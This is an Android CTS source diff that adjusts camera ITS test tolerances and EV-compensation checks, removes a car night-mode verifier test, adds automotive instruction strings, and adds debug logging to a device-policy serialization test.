Merge "Create EventlibService." into sc-v2-dev
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml
index bc35cb1..fc712b3 100644
--- a/apps/CameraITS/config.yml
+++ b/apps/CameraITS/config.yml
@@ -44,7 +44,7 @@
       test_length: 7
       debug_mode: "False"  # quotes are needed here
       chart_distance: 25
-      rotator_cntl: <controller-type>  # can be arduino or canakit
+      rotator_cntl: <controller-type>  # arduino, canakit, or as-is for manual
       rotator_ch: <controller-channel>
       camera: <camera-id>
 
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index 1c10562..afa0128 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -160,6 +160,7 @@
     self.tablet.adb.shell('am force-stop com.google.android.apps.docs')
     self.tablet.adb.shell('am force-stop com.google.android.apps.photos')
     self.tablet.adb.shell('am force-stop com.android.gallery3d')
+    self.tablet.adb.shell('am force-stop com.sec.android.gallery3d')
 
   def set_tablet_landscape_orientation(self):
     """Sets the screen orientation to landscape.
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index 5b1b74b..01fbb77 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -226,8 +226,12 @@
                         'testPatternData: %s', captured_pattern,
                         str(cap['metadata']['android.sensor.testPatternData']))
           # Save test pattern image
-          img = image_processing_utils.convert_capture_to_rgb_image(
-              cap, props=props)
+          if fmt['format'] == 'yuv':
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props)
+          else:
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props, apply_ccm_raw_to_rgb=False)
           captured_color = color['color']
           image_processing_utils.write_image(
               img,
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
index 4f589ce..710e207 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
@@ -15,11 +15,11 @@
 
 
 import logging
+import math
 import os.path
 import matplotlib
 from matplotlib import pylab
 from mobly import test_runner
-import numpy as np
 
 import its_base_test
 import camera_properties_utils
@@ -29,17 +29,15 @@
 
 LINEAR_TONEMAP_CURVE = [0.0, 0.0, 1.0, 1.0]
 LOCKED = 3
-LUMA_DELTA_THRESH = 0.05
-LUMA_LOCKED_TOL = 0.05
+LUMA_DELTA_ATOL = 0.05
+LUMA_DELTA_ATOL_SAT = 0.10
+LUMA_SAT_THRESH = 0.75  # luma value at which ATOL changes from MID to SAT
 NAME = os.path.splitext(os.path.basename(__file__))[0]
 PATCH_H = 0.1  # center 10%
 PATCH_W = 0.1
 PATCH_X = 0.5 - PATCH_W/2
 PATCH_Y = 0.5 - PATCH_H/2
 THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num auto reqs for EV
-YUV_FULL_SCALE = 255.0
-YUV_SAT_MIN = 250.0
-YUV_SAT_TOL = 3.0
 
 
 def create_request_with_ev(ev):
@@ -122,6 +120,10 @@
         caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
         for cap in caps:
           if cap['metadata']['android.control.aeState'] == LOCKED:
+            ev_meta = cap['metadata']['android.control.aeExposureCompensation']
+            if ev_meta != ev:
+              raise AssertionError(
+                  f'EV comp capture != request! cap: {ev_meta}, req: {ev}')
             lumas.append(extract_luma_from_capture(cap))
             break
         if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
@@ -133,6 +135,8 @@
       i_mid = len(ev_steps) // 2
       luma_normal = lumas[i_mid] / ev_shifts[i_mid]
       expected_lumas = [min(1.0, luma_normal*shift) for shift in ev_shifts]
+      luma_delta_atols = [LUMA_DELTA_ATOL if l < LUMA_SAT_THRESH
+                          else LUMA_DELTA_ATOL_SAT for l in expected_lumas]
 
       # Create plot
       pylab.figure(NAME)
@@ -145,17 +149,15 @@
       matplotlib.pyplot.savefig(
           '%s_plot_means.png' % os.path.join(log_path, NAME))
 
-      luma_diffs = [expected_lumas[i]-lumas[i] for i in range(len(ev_steps))]
-      max_diff = max(abs(i) for i in luma_diffs)
-      avg_diff = abs(np.array(luma_diffs)).mean()
-      logging.debug(
-          'Max delta between modeled and measured lumas: %.4f', max_diff)
-      logging.debug(
-          'Avg delta between modeled and measured lumas: %.4f', avg_diff)
-      if max_diff > LUMA_DELTA_THRESH:
-        raise AssertionError(f'Max delta between modeled and measured '
-                             f'lumas: {max_diff:.3f}, '
-                             f'TOL: {LUMA_DELTA_THRESH}.')
+      for i, luma in enumerate(lumas):
+        luma_delta_atol = luma_delta_atols[i]
+        logging.debug('EV step: %3d, luma: %.3f, model: %.3f, ATOL: %.2f',
+                      ev_steps[i], luma, expected_lumas[i], luma_delta_atol)
+        if not math.isclose(luma, expected_lumas[i],
+                            abs_tol=luma_delta_atol):
+          raise AssertionError('Modeled/measured luma deltas too large! '
+                               f'meas: {lumas[i]}, model: {expected_lumas[i]}, '
+                               f'ATOL: {luma_delta_atol}.')
 
 
 if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
index 379cc11..7d8b9f2 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
@@ -29,7 +29,8 @@
 import its_session_utils
 
 LOCKED = 3
-LUMA_LOCKED_TOL = 0.05
+LUMA_LOCKED_RTOL_EV_SM = 0.05
+LUMA_LOCKED_RTOL_EV_LG = 0.10
 NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_UNSATURATED_EVS = 3
 PATCH_H = 0.1  # center 10%
@@ -87,6 +88,11 @@
           props['android.control.aeCompensationStep'])
       steps_per_ev = int(1.0 / ev_per_step)
       evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
+      luma_locked_rtols = [LUMA_LOCKED_RTOL_EV_LG,
+                           LUMA_LOCKED_RTOL_EV_SM,
+                           LUMA_LOCKED_RTOL_EV_SM,
+                           LUMA_LOCKED_RTOL_EV_SM,
+                           LUMA_LOCKED_RTOL_EV_LG]
 
       # Converge 3A, and lock AE once converged. skip AF trigger as
       # dark/bright scene could make AF convergence fail and this test
@@ -100,7 +106,8 @@
       fmt = capture_request_utils.get_smallest_yuv_format(
           props, match_ar=match_ar)
       lumas = []
-      for ev in evs:
+      for j, ev in enumerate(evs):
+        luma_locked_rtol = luma_locked_rtols[j]
         # Capture a single shot with the same EV comp and locked AE.
         req = create_request_with_ev(ev)
         caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
@@ -112,14 +119,19 @@
             image_processing_utils.write_image(
                 img, f'{test_name_w_path}_ev{ev}_frame{i}.jpg')
           if cap['metadata']['android.control.aeState'] == LOCKED:
+            ev_meta = cap['metadata']['android.control.aeExposureCompensation']
+            logging.debug('cap EV compensation: %d', ev_meta)
+            if ev != ev_meta:
+              raise AssertionError(
+                  f'EV compensation cap != req! cap: {ev_meta}, req: {ev}')
             luma = extract_luma_from_capture(cap)
             luma_locked.append(luma)
             if i == THRESH_CONVERGE_FOR_EV-1:
               lumas.append(luma)
               if not math.isclose(min(luma_locked), max(luma_locked),
-                                  rel_tol=LUMA_LOCKED_TOL):
+                                  rel_tol=luma_locked_rtol):
                 raise AssertionError(f'AE locked lumas: {luma_locked}, '
-                                     f'RTOL: {LUMA_LOCKED_TOL}')
+                                     f'RTOL: {luma_locked_rtol}')
       logging.debug('lumas in AE locked captures: %s', str(lumas))
       if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
           'android.control.aeState'] != LOCKED:
diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py
index 23432f1..a364b53 100644
--- a/apps/CameraITS/utils/image_processing_utils.py
+++ b/apps/CameraITS/utils/image_processing_utils.py
@@ -49,7 +49,8 @@
 def convert_capture_to_rgb_image(cap,
                                  ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
                                  yuv_off=DEFAULT_YUV_OFFSETS,
-                                 props=None):
+                                 props=None,
+                                 apply_ccm_raw_to_rgb=True):
   """Convert a captured image object to a RGB image.
 
   Args:
@@ -58,6 +59,7 @@
      yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
      props: (Optional) camera properties object (of static values);
             required for processing raw images.
+     apply_ccm_raw_to_rgb: (Optional) boolean to apply color correction matrix.
 
   Returns:
         RGB float-3 image array, with pixel values in [0.0, 1.0].
@@ -82,7 +84,8 @@
   elif cap['format'] == 'raw' or cap['format'] == 'rawStats':
     assert props is not None
     r, gr, gb, b = convert_capture_to_planes(cap, props)
-    return convert_raw_to_rgb_image(r, gr, gb, b, props, cap['metadata'])
+    return convert_raw_to_rgb_image(
+        r, gr, gb, b, props, cap['metadata'], apply_ccm_raw_to_rgb)
   elif cap['format'] == 'y8':
     y = cap['data'][0: w * h]
     return convert_y8_to_rgb_image(y, w, h)
@@ -381,7 +384,7 @@
 
 
 def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
-                             cap_res):
+                             cap_res, apply_ccm_raw_to_rgb=True):
   """Convert a Bayer raw-16 image to an RGB image.
 
   Includes some extremely rudimentary demosaicking and color processing
@@ -396,9 +399,10 @@
             in the Bayer image, with pixels in the [0.0, 1.0] range.
    props: Camera properties object.
    cap_res: Capture result (metadata) object.
+   apply_ccm_raw_to_rgb: (Optional) boolean to apply color correction matrix.
 
   Returns:
-    RGB float-3 image array, with pixel values in [0.0, 1.0]
+   RGB float-3 image array, with pixel values in [0.0, 1.0]
   """
     # Values required for the RAW to RGB conversion.
   assert props is not None
@@ -429,7 +433,9 @@
   h, w = r_plane.shape[:2]
   img = numpy.dstack([r_plane, (gr_plane + gb_plane) / 2.0, b_plane])
   img = (((img.reshape(h, w, 3) - black_levels) * scale) * gains).clip(0.0, 1.0)
-  img = numpy.dot(img.reshape(w * h, 3), ccm.T).reshape(h, w, 3).clip(0.0, 1.0)
+  if apply_ccm_raw_to_rgb:
+    img = numpy.dot(
+        img.reshape(w * h, 3), ccm.T).reshape(h, w, 3).clip(0.0, 1.0)
   return img
 
 
diff --git a/apps/CameraITS/utils/sensor_fusion_utils.py b/apps/CameraITS/utils/sensor_fusion_utils.py
index 6ce53b1..59f5a60 100644
--- a/apps/CameraITS/utils/sensor_fusion_utils.py
+++ b/apps/CameraITS/utils/sensor_fusion_utils.py
@@ -234,12 +234,15 @@
   elif rotate_cntl.lower() == 'canakit':
     canakit_serial_port = serial_port_def('Canakit')
 
+  else:
+    logging.info('No rotation rig defined. Manual test: rotate phone by hand.')
+
   # rotate phone
   logging.debug('Rotating phone %dx', num_rotations)
   for _ in range(num_rotations):
     if rotate_cntl == 'arduino':
       arduino_rotate_servo(rotate_ch, arduino_serial_port)
-    else:
+    elif rotate_cntl == 'canakit':
       canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'ON')
       canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'OFF')
   logging.debug('Finished rotations')
diff --git a/apps/CrossProfileTestApp/OWNERS b/apps/CrossProfileTestApp/OWNERS
index e889bfe..c3feb80 100644
--- a/apps/CrossProfileTestApp/OWNERS
+++ b/apps/CrossProfileTestApp/OWNERS
@@ -1,6 +1,2 @@
 # Bug component: 149743808
-sandness@google.com
-arangelov@google.com
-alexkershaw@google.com
-scottjonathan@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 117d037..9942995 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,11 +18,10 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.verifier"
           android:versionCode="5"
-          android:versionName="12_r1">
+          android:versionName="12L_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="31"/>
 
-    <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT" />
     <uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
     <uses-permission android:name="android.car.permission.READ_CAR_POWER_POLICY" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
@@ -136,6 +135,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
             <meta-data android:name="test_required_features"
                        android:value="android.software.device_admin" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
         </activity>
@@ -4018,6 +4019,8 @@
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
@@ -5197,21 +5200,6 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".car.NightModeTestActivity"
-                android:exported="true"
-                android:label="@string/night_mode_test">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_car" />
-            <meta-data
-                android:name="test_required_features"
-                android:value="android.hardware.type.automotive"/>
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
-        </activity>
-
         <activity android:name=".car.ParkingBrakeOnTestActivity"
                 android:exported="true"
                 android:label="@string/parking_brake_on_test">
diff --git a/apps/CtsVerifier/res/layout/night_mode_test.xml b/apps/CtsVerifier/res/layout/night_mode_test.xml
deleted file mode 100644
index cdba032..0000000
--- a/apps/CtsVerifier/res/layout/night_mode_test.xml
+++ /dev/null
@@ -1,46 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-          http://www.apache.org/licenses/LICENSE-2.0
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <TextView
-          android:id="@+id/night_mode_instruction"
-          android:layout_width="match_parent"
-          android:layout_height="0dp"
-          android:layout_weight="1"
-          android:gravity="center"
-          android:textSize="50dip" />
-    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:layout_width="match_parent"
-        android:layout_height="0dp"
-        android:layout_weight="2"
-        android:orientation="horizontal">
-    <TextView
-          android:id="@+id/current_night_mode_value_title"
-          android:layout_width="0dp"
-          android:layout_weight="2"
-          android:layout_height="match_parent"
-          android:gravity="center"
-          android:text="@string/current_night_mode_value_title"
-          android:textSize="50dip" />
-    <TextView
-          android:id="@+id/current_night_mode_value"
-          android:layout_width="0dp"
-          android:layout_weight="1"
-          android:layout_height="match_parent"
-          android:gravity="center"
-          android:textSize="50dip" />
-    </LinearLayout>
-    <include layout="@layout/pass_fail_buttons" />
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 0e7ec84..be3bff9 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -187,12 +187,6 @@
       implemented gears then the pass button will be enabled.</string>
     <string name="expected_gear_selection_title">Expected Gear Selection</string>
     <string name="current_gear_selection_title">Current Gear Selection</string>
-    <string name="night_mode_test">NIGHT_MODE Test</string>
-    <string name="night_mode_test_desc">This test ensures that the NIGHT_MODE vehicle property is
-      implemented correctly.\n\nFollow the instructions on the screen to engage and disengage
-      NIGHT_MODE through the vehicle HAL. When the instructions are completed, the pass button
-      will be enabled.</string>
-    <string name="current_night_mode_value_title">Current NIGHT_MODE Value:</string>
     <string name="parking_brake_on_test">PARKING_BRAKE_ON Test</string>
     <string name="parking_brake_on_test_desc">This test ensures that the
       PARKING_BRAKE_ON property is implemented correctly.\n\nFollow the
@@ -252,6 +246,15 @@
         Pass the test if the device admin could not be activated while the details
         window was being obscured.
     </string>
+    <string name="da_tapjacking_instructions" product="automotive">
+        1. Launch the device admin add screen by pressing the button below.\n
+        2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
+        3. The button to activate the admin should be disabled and should not register any taps.\n
+        4. Wait for the overlaying activity to finish.\n
+        5. Press \'back\' to exit the device admin details and return to this screen.\n
+        Pass the test if the device admin could not be activated while the details
+        window was being obscured.
+    </string>
     <string name="da_tapjacking_button_text">Enable device admin</string>
 
     <!-- Strings for RecentTaskRemovalTestActivity -->
@@ -3596,7 +3599,10 @@
             Then you need to set this app as the device owner by running\n
             adb shell dpm set-device-owner --user 0 com.android.cts.emptydeviceowner/.EmptyDeviceAdmin
     </string>
-
+    <string name="set_device_owner_headless_dialog_text">
+            For this test you need to set the device owner by running\n
+            adb shell dpm set-device-owner --user 0 com.android.cts.verifier/.managedprovisioning.DeviceAdminTestReceiver
+    </string>
     <string name="device_owner_remove_device_owner_test">Remove device owner</string>
     <string name="device_owner_remove_device_owner_test_info">
             Please check in Settings &gt; Security &gt; Device Administrators if CTSVerifier is
@@ -4595,6 +4601,13 @@
         automatically. Dismiss the keyguard and a \'Managed User Tests\' should launch.\n
         Follow the test instructions and press \'pass\' or \'fail\' to return to this screen.\n
     </string>
+    <string name="managed_user_positive_tests_instructions" product="automotive">
+        The positive managed user tests verify policies on a managed user created by a device owner.
+        \n
+        Press Go button to create a managed user, and you will be switched to the managed user
+        automatically; a \'Managed User Tests\' should launch.\n
+        Follow the test instructions and press \'pass\' or \'fail\' to return to this screen.\n
+    </string>
     <string name="managed_user_positive_tests_info">
         The positive managed user tests verify policies on a managed user created by a device owner.
         Proceed to the test cases, then press \'pass\' or \'fail\' to finish this test.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
index f51c943..19b6194 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
@@ -1,6 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
index 9b54ed3..5fe1f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
@@ -16,10 +16,6 @@
 
 package com.android.cts.verifier.admin;
 
-import com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
 import android.app.AlertDialog;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -29,6 +25,7 @@
 import android.content.SharedPreferences.Editor;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
+import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.view.ViewGroup;
@@ -37,6 +34,10 @@
 import android.widget.TextView;
 import android.widget.Toast;
 
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver;
+
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Random;
@@ -47,7 +48,9 @@
  * returning to the test, the activity checks that the device manager is reporting the values
  * it set before the user rebooted the device.
  */
-public class PolicySerializationTestActivity extends PassFailButtons.ListActivity {
+public final class PolicySerializationTestActivity extends PassFailButtons.ListActivity {
+
+    private static final String TAG = PolicySerializationTestActivity.class.getSimpleName();
 
     /**
      * Whether or not to load the expected policy from the preferences and check against
@@ -87,18 +90,16 @@
         });
 
         mApplyPolicyButton = findViewById(R.id.apply_policy_button);
-        mApplyPolicyButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                applyPolicy();
-            }
-        });
+        mApplyPolicyButton.setOnClickListener((v) -> applyPolicy());
 
         if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN)) {
             mPolicyItems.add(new MaximumFailedPasswordsForWipePolicy(this));
         }
 
         mPolicyItems.add(new MaximumTimeToLockPolicy(this));
+
+        Log.d(TAG, "onCreate(): " + mPolicyItems.size() + " policy items: " + mPolicyItems);
+
         mAdapter = new PolicyAdapter(this);
         setListAdapter(mAdapter);
 
@@ -113,8 +114,11 @@
             for (PolicyItem<?> item : mPolicyItems) {
                 item.loadExpectedValue(prefs);
                 item.loadActualValue(mDevicePolicyManager, mAdmin);
+                Log.d(TAG, "loading " + item);
                 mAdapter.add(item);
             }
+        } else {
+            Log.d(TAG, "loadPolicy(): " + LOAD_EXPECTED_POLICY_PREFERENCE + " is false");
         }
     }
 
@@ -122,6 +126,7 @@
         Random random = new Random();
         mAdapter.clear();
         for (PolicyItem<?> item : mPolicyItems) {
+            Log.d(TAG, "Adding " + item);
             item.setRandomExpectedValue(random);
             item.resetActualValue();
             mAdapter.add(item);
@@ -130,6 +135,7 @@
         SharedPreferences prefs = getPreferences(MODE_PRIVATE);
         SharedPreferences.Editor editor = prefs.edit();
         editor.clear();
+        Log.d(TAG, "setting LOAD_EXPECTED_POLICY_PREFERENCE to false");
         editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, false);
         editor.apply();
 
@@ -140,12 +146,15 @@
         Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
         intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
                 DeviceAdminTestReceiver.getReceiverComponentName());
+        Log.d(TAG, "Starting " + intent);
         startActivityForResult(intent, ADD_DEVICE_ADMIN_REQUEST_CODE);
     }
 
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         super.onActivityResult(requestCode, resultCode, data);
+        Log.d(TAG, "onActivityResult(): req=" + requestCode + ", resp=" + resultCode);
+
         switch (requestCode) {
             case ADD_DEVICE_ADMIN_REQUEST_CODE:
                 handleAddDeviceAdminResult(resultCode, data);
@@ -154,22 +163,25 @@
     }
 
     private void handleAddDeviceAdminResult(int resultCode, Intent data) {
-        if (resultCode == RESULT_OK) {
-            ComponentName admin = DeviceAdminTestReceiver.getReceiverComponentName();
-            for (PolicyItem<?> item : mPolicyItems) {
-                item.applyExpectedValue(mDevicePolicyManager, admin);
-            }
-
-            SharedPreferences prefs = getPreferences(MODE_PRIVATE);
-            SharedPreferences.Editor editor = prefs.edit();
-            editor.clear();
-            editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, true);
-            for (PolicyItem<?> item : mPolicyItems) {
-                item.saveExpectedValue(editor);
-            }
-            editor.apply();
-            showRebootDialog();
+        if (resultCode != RESULT_OK) {
+            Log.w(TAG, "handleAddDeviceAdminResult(): invalid result: " + resultCode);
+            return;
         }
+        ComponentName admin = DeviceAdminTestReceiver.getReceiverComponentName();
+        for (PolicyItem<?> item : mPolicyItems) {
+            item.applyExpectedValue(mDevicePolicyManager, admin);
+        }
+
+        SharedPreferences prefs = getPreferences(MODE_PRIVATE);
+        SharedPreferences.Editor editor = prefs.edit();
+        editor.clear();
+        Log.d(TAG, "setting LOAD_EXPECTED_POLICY_PREFERENCE to true");
+        editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, true);
+        for (PolicyItem<?> item : mPolicyItems) {
+            item.saveExpectedValue(editor);
+        }
+        editor.apply();
+        showRebootDialog();
     }
 
     private void showRebootDialog() {
@@ -210,7 +222,7 @@
             .show();
     }
 
-    static class PolicyAdapter extends ArrayAdapter<PolicyItem<?>> {
+    private static final class PolicyAdapter extends ArrayAdapter<PolicyItem<?>> {
 
         public PolicyAdapter(Context context) {
             super(context, android.R.layout.simple_list_item_1);
@@ -241,7 +253,7 @@
         }
     }
 
-    interface PolicyItem<T> {
+    private interface PolicyItem<T> {
 
         void setRandomExpectedValue(Random random);
 
@@ -268,7 +280,7 @@
         boolean matchesExpectedValue();
     }
 
-    static abstract class BasePolicyItem<T> implements PolicyItem<T> {
+    private abstract static class BasePolicyItem<T> implements PolicyItem<T> {
         private String mDisplayName;
         private T mExpectedValue;
         private T mActualValue;
@@ -287,6 +299,7 @@
         @Override
         public final void loadExpectedValue(SharedPreferences prefs) {
             mExpectedValue = getPreferencesValue(prefs);
+            Log.d(TAG, "loaded expected value for " + mDisplayName + ": " + mExpectedValue);
         }
 
         protected abstract T getPreferencesValue(SharedPreferences prefs);
@@ -301,6 +314,7 @@
 
         @Override
         public final void resetActualValue() {
+            Log.d(TAG, "resetting " + mDisplayName);
             mActualValue = null;
         }
 
@@ -344,7 +358,7 @@
         }
     }
 
-    static abstract class IntegerPolicyItem extends BasePolicyItem<Integer> {
+    private abstract static class IntegerPolicyItem extends BasePolicyItem<Integer> {
 
         private String mPreferenceKey;
 
@@ -355,16 +369,20 @@
 
         @Override
         protected final Integer getPreferencesValue(SharedPreferences prefs) {
-            return prefs.getInt(mPreferenceKey, -1);
+            int value = prefs.getInt(mPreferenceKey, -1);
+            Log.d(TAG, "loaded pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+            return value;
         }
 
         @Override
         public final void saveExpectedValue(Editor editor) {
-            editor.putInt(mPreferenceKey, getExpectedValue());
+            int value = getExpectedValue();
+            Log.d(TAG, "saving pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+            editor.putInt(mPreferenceKey, value);
         }
     }
 
-    static abstract class LongPolicyItem extends BasePolicyItem<Long> {
+    private abstract static class LongPolicyItem extends BasePolicyItem<Long> {
 
         private String mPreferenceKey;
 
@@ -375,89 +393,20 @@
 
         @Override
         protected final Long getPreferencesValue(SharedPreferences prefs) {
-            return prefs.getLong(mPreferenceKey, -1);
+            long value = prefs.getLong(mPreferenceKey, -1);
+            Log.d(TAG, "loaded pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+            return value;
         }
 
         @Override
         public final void saveExpectedValue(Editor editor) {
-            editor.putLong(mPreferenceKey, getExpectedValue());
+            long value = getExpectedValue();
+            Log.d(TAG, "saving pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+            editor.putLong(mPreferenceKey, value);
         }
     }
 
-    static class PasswordQualityPolicy extends IntegerPolicyItem {
-
-        private final Context mContext;
-
-        public PasswordQualityPolicy(Context context) {
-            super(context, R.string.da_password_quality, "password-quality");
-            mContext = context;
-        }
-
-        @Override
-        protected Integer getRandomExpectedValue(Random random) {
-            int[] passwordQualities = new int[] {
-                    DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC,
-                    DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC,
-                    DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
-                    DevicePolicyManager.PASSWORD_QUALITY_SOMETHING
-            };
-
-            int index = random.nextInt(passwordQualities.length);
-            return passwordQualities[index];
-        }
-
-        @Override
-        public void applyExpectedValue(DevicePolicyManager deviceManager, ComponentName admin) {
-            deviceManager.setPasswordQuality(admin, getExpectedValue());
-        }
-
-        @Override
-        protected Integer getDeviceManagerValue(DevicePolicyManager deviceManager,
-                ComponentName admin) {
-            return deviceManager.getPasswordQuality(admin);
-        }
-
-        @Override
-        protected String getDisplayValue(Integer value) {
-            switch (value) {
-                case DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC:
-                    return mContext.getString(R.string.da_password_quality_alphabetic);
-                case DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC:
-                    return mContext.getString(R.string.da_password_quality_alphanumeric);
-                case DevicePolicyManager.PASSWORD_QUALITY_NUMERIC:
-                    return mContext.getString(R.string.da_password_quality_numeric);
-                case DevicePolicyManager.PASSWORD_QUALITY_SOMETHING:
-                    return mContext.getString(R.string.da_password_quality_something);
-                default:
-                    return Integer.toString(value);
-            }
-        }
-    }
-
-    static class PasswordMinimumLengthPolicy extends IntegerPolicyItem {
-
-        PasswordMinimumLengthPolicy(Context context) {
-            super(context, R.string.da_password_minimum_length, "password-minimum-length");
-        }
-
-        @Override
-        protected Integer getRandomExpectedValue(Random random) {
-            return random.nextInt(50);
-        }
-
-        @Override
-        public void applyExpectedValue(DevicePolicyManager deviceManager, ComponentName admin) {
-            deviceManager.setPasswordMinimumLength(admin, getExpectedValue());
-        }
-
-        @Override
-        protected Integer getDeviceManagerValue(DevicePolicyManager deviceManager,
-                ComponentName admin) {
